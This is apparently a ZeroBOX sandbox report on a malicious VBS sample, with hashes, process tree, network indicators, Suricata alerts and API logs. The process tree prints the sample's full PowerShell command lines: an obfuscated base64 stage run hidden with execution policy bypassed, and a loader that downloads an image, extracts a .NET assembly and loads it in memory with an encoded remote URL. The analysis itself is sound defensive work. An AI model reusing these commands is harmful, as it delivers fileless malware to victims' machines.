Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Oct. 24, 2023, 9:38 a.m.	Oct. 24, 2023, 9:40 a.m.

Size	330.0KB
Type	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5	`0ce3fdcbefda30517ac10b2fdf96f426`
SHA256	`8b2ee20f8fb8df593ae00bf56f492d20106b64bd5388389df285f9af5fa9209e`
CRC32	`B8EF7784`
ssdeep	`3072:Rx28rR4MiXWR4ZpR4ER4iR4ZcXR47XSOeeeeeHeeeeenveeeeejeeeee6xeeeeeg:BZIpt/I6Ai3`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\luoves.vbs
2548
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JPzXsYGNBpPzXsYGNG0PzXsYGNYQBnPzXsYGNGUPzXsYGNVQByPzXsYGNGwPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwBoPzXsYGNHQPzXsYGNdPzXsYGNBwPzXsYGNHMPzXsYGNOgPzXsYGNvPzXsYGNC8PzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNHUPzXsYGNcPzXsYGNBsPzXsYGNG8PzXsYGNYQBkPzXsYGNC4PzXsYGNaQBvPzXsYGNC8PzXsYGNaQBiPzXsYGNC8PzXsYGNdwBzPzXsYGNDgPzXsYGNTQBBPzXsYGNEoPzXsYGNNgBlPzXsYGNHPzXsYGNPzXsYGNdPzXsYGNBpPzXsYGNEwPzXsYGNZgBHPzXsYGNHUPzXsYGNXwPzXsYGNxPzXsYGNDYPzXsYGNOQPzXsYGN3PzXsYGNDcPzXsYGNMwPzXsYGN4PzXsYGNDQPzXsYGNOQPzXsYGNyPzXsYGNC4PzXsYGNagBwPzXsYGNGcPzXsYGNJwPzXsYGN7PzXsYGNCQPzXsYGNdwBlPzXsYGNGIPzXsYGNQwBsPzXsYGNGkPzXsYGNZQBuPzXsYGNHQPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNTgBlPzXsYGNHcPzXsYGNLQBPPzXsYGNGIPzXsYGNagBlPzXsYGNGMPzXsYGNdPzXsYGNPzXsYGNgPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNTgBlPzXsYGNHQPzXsYGNLgBXPzXsYGNGUPzXsYGNYgBDPzXsYGNGwPzXsYGNaQBlPzXsYGNG4PzXsYGNdPzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNPzXsYGNkPzXsYGNHcPzXsYGNZQBiPzXsYGNEMPzXsYGNbPzXsYGNBpPzXsYGNGUPzXsYGNbgB0PzXsYGNC4PzXsYGNRPzXsYGNBvPzXsYGNHcPzXsYGNbgBsPzXsYGNG8PzXsYGNYQBkPzXsYGNEQPzXsYGNYQB0PzXsYGNGEPzXsYGNKPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBVPzXsYGNHIPzXsYGNbPzXsYGNPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNBpPzXsYGNG0PzXsYGNYQBnPzXsYGNGUPzXsYGNVPzXsYGNBlPzXsYGNHgPzXsYGNdPzXsYGNPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNVPzXsYGNBlPzXsYGNHgPzXsYGNdPzXsYGNPzXsYGNuPzXsYGNEUPzXsYGNbgBjPzXsYGNG8PzXsYGNZPzXsYGNBpPzXsYGNG4PzXsYGNZwBdPzXsYGNDoPzXsYGNOgBVPzXsYGNFQPzXsYGNRgPzXsYGN4PzXsYGNC4PzXsYGNRwBlPzXsYGNHQPzXsYGNUwB0PzXsYGNHIPzXsYGNaQBuPzXsYGNGcPzXsYGNKPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBCPzXsYGNHkPzXsYGNdPzXsYGNBlPzXsYGNHMPzXsYGNKQPzXsYGN7PzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwPzXsYGN8PzXsYGNDwPzXsYGNQgBBPzXsYGNFMPzXsYGNRQPzXsYGN2PzXsYGNDQPzXsYGNXwBTPzXsYGNFQPzXsYGNQQBSPzXsYGNFQPzXsYGNPgPzXsYGN+PzXsYGNCcPzXsYGNOwPzXsYGNkPzXsYGNGUPzXsYGNbgBkPzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwPzXsYGN8PzXsYGNDwPzXsYGNQgBBPzXsYGNFMPzXsYGNRQPzXsYGN2PzXsYGNDQPzXsYGNXwBFPzXsYGNE4PzXsYGNRPzXsYGNPzXsYGN+PzXsYGND4PzXsYGNJwPzXsYGN7PzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBUPzXsYGNGUPzXsYGNePzXsYGNB0PzXsYGNC4PzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNE8PzXsYGNZgPzXsYGNoPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNKQPzXsYGN7PzXsYGNCQPzXsYGNZQBuPzXsYGNGQPzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNFQPzXsYGNZQB4PzXsYGNHQPzXsYGNLgBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNTwBmPzXsYGNCgPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBGPzXsYGNGwPzXsYGNYQBnPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNHMPzXsYGNdPzXsYGNBhPzXsYGNHIPzXsYGNdPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGcPzXsYGNZQPzXsYGNgPzXsYGNDPzXsYGNPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGEPzXsYGNbgBkPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGcPzXsYGNdPzXsYGNPzXsYGNgPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNgPzXsYGNCsPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNLgBMPzXsYGNGUPzXsYGNbgBnPzXsYGNHQPzXsYGNaPzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNYgBhPzXsYGNHMPzXsYGNZQPzXsYGN2PzXsYGNDQPzXsYGNTPzXsYGNBlPzXsYGNG4PzXsYGNZwB0PzXsYGNGgPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBzPzXsYGNHQPzXsYGNYQByPzXsYGNHQPzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNDsPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBDPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNFQPzXsYGNZQB4PzXsYGNHQPzXsYGNLgBTPzXsYGNHUPzXsYGNYgBzPzXsYGNHQPzXsYGNcgBpPzXsYGNG4PzXsYGNZwPzXsYGNoPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBMPzXsYGNGUPzXsYGNbgBnPzXsYGNHQPzXsYGNaPzXsYGNPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNBjPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNQwBvPzXsYGNG4PzXsYGNdgBlPzXsYGNHIPzXsYGNdPzXsYGNBdPzXsYGNDoPzXsYGNOgBGPzXsYGNHIPzXsYGNbwBtPzXsYGNEIPzXsYGNYQBzPzXsYGNGUPzXsYGNNgPzXsYGN0PzXsYGNFMPzXsYGNdPzXsYGNByPzXsYGNGkPzXsYGNbgBnPzXsYGNCgPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBDPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNGwPzXsYGNbwBhPzXsYGNGQPzXsYGNZQBkPzXsYGNEEPzXsYGNcwBzPzXsYGNGUPzXsYGNbQBiPzXsYGNGwPzXsYGNeQPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNUgBlPzXsYGNGYPzXsYGNbPzXsYGNBlPzXsYGNGMPzXsYGNdPzXsYGNBpPzXsYGNG8PzXsYGNbgPzXsYGNuPzXsYGNEEPzXsYGNcwBzPzXsYGNGUPzXsYGNbQBiPzXsYGNGwPzXsYGNeQBdPzXsYGNDoPzXsYGNOgBMPzXsYGNG8PzXsYGNYQBkPzXsYGNCgPzXsYGNJPzXsYGNBjPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNB0PzXsYGNHkPzXsYGNcPzXsYGNBlPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNbPzXsYGNBvPzXsYGNGEPzXsYGNZPzXsYGNBlPzXsYGNGQPzXsYGNQQBzPzXsYGNHMPzXsYGNZQBtPzXsYGNGIPzXsYGNbPzXsYGNB5PzXsYGNC4PzXsYGNRwBlPzXsYGNHQPzXsYGNVPzXsYGNB5PzXsYGNHPzXsYGNPzXsYGNZQPzXsYGNoPzXsYGNCcPzXsYGNRgBpPzXsYGNGIPzXsYGNZQByPzXsYGNC4PzXsYGNSPzXsYGNBvPzXsYGNG0PzXsYGNZQPzXsYGNnPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNG0PzXsYGNZQB0PzXsYGNGgPzXsYGNbwBkPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNdPzXsYGNB5PzXsYGNHPzXsYGNPzXsYGNZQPzXsYGNuPzXsYGNEcPzXsYGNZQB0PzXsYGNE0PzXsYGNZQB0PzXsYGNGgPzXsYGNbwBkPzXsYGNCgPzXsYGNJwBWPzXsYGNEEPzXsYGNSQPzXsYGNnPzXsYGNCkPzXsYGNLgBJPzXsYGNG4PzXsYGNdgBvPzXsYGNGsPzXsYGNZQPzXsYGNoPzXsYGNCQPzXsYGNbgB1PzXsYGNGwPzXsYGNbPzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNWwBvPzXsYGNGIPzXsYGNagBlPzXsYGNGMPzXsYGNdPzXsYGNBbPzXsYGNF0PzXsYGNXQPzXsYGNgPzXsYGNCgPzXsYGNJwBkPzXsYGNEgPzXsYGNaPzXsYGNPzXsYGNwPzXsYGNEwPzXsYGNbQPzXsYGN5PzXsYGNGgPzXsYGNYgBHPzXsYGNGwPzXsYGNbwBjPzXsYGNDIPzXsYGNRgB0PzXsYGNEwPzXsYGNegBFPzXsYGNHkPzXsYGNTQBTPzXsYGNDQPzXsYGNMwBNPzXsYGNGkPzXsYGNNPzXsYGNPzXsYGNwPzXsYGNE0PzXsYGNVPzXsYGNBJPzXsYGNHUPzXsYGNTgBUPzXsYGNGsPzXsYGNdgBMPzXsYGNHoPzXsYGNcPzXsYGNB3PzXsYGNGQPzXsYGNSPzXsYGNBSPzXsYGNG8PzXsYGNJwPzXsYGNgPzXsYGNCwPzXsYGNIPzXsYGNPzXsYGNnPzXsYGNGQPzXsYGNZgBkPzXsYGNGYPzXsYGNZPzXsYGNPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBmPzXsYGNGQPzXsYGNZgPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBmPzXsYGNGQPzXsYGNZgPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBhPzXsYGNGQPzXsYGNcwBhPzXsYGNCcPzXsYGNIPzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNJwBkPzXsYGNGUPzXsYGNJwPzXsYGNgPzXsYGNCwPzXsYGNIPzXsYGNPzXsYGNnPzXsYGNGMPzXsYGNdQPzXsYGNnPzXsYGNCkPzXsYGNKQPzXsYGN=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2628
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm9hbGloc2FtLzEyMS43Mi40MTIuNTkvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
    2768
    - RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2996

Name	Response	Post-Analysis Lookup
imageupload.io	A 104.21.83.102 A 172.67.222.26	104.21.83.102

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.222.26	Active	Moloch
95.214.27.121	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49165 -> 172.67.222.26:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 95.214.27.121:80 -> 192.168.56.101:49167	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	Exploit Kit Activity Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49165 172.67.222.26:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=imageupload.io	7f:d3:2d:a3:40:e0:de:64:4d:f5:a5:0f:96:b0:ae:07:58:85:a8:85

Queries for the computername (17 events)

Time & API	Arguments	Status	Return
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 24, 2023, 9:38 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 24, 2023, 9:38 a.m.			0	0
IsDebuggerPresent Oct. 24, 2023, 9:38 a.m.			0	0
IsDebuggerPresent Oct. 24, 2023, 9:38 a.m.			0	0
IsDebuggerPresent Oct. 24, 2023, 9:38 a.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Oct. 24, 2023, 9:38 a.m.	buffer: True console_handle: 0x00000013	1	1	0

Uses Windows APIs to generate a cryptographic key (50 out of 80 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526978 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526cf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526cf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526cf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00527278 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00526578 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005270b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005270b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006632d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663cd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663cd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663cd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 24, 2023, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00663398 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 24, 2023, 9:38 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 24, 2023, 9:38 a.m.	stacktrace: 0x8d090c 0x8d086d 0x8d0700 0x8d0083 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x727a2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x727b264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x727b2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728674ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72867610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x728f1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x728f1e67 CorDllMainForThunk+0xa06 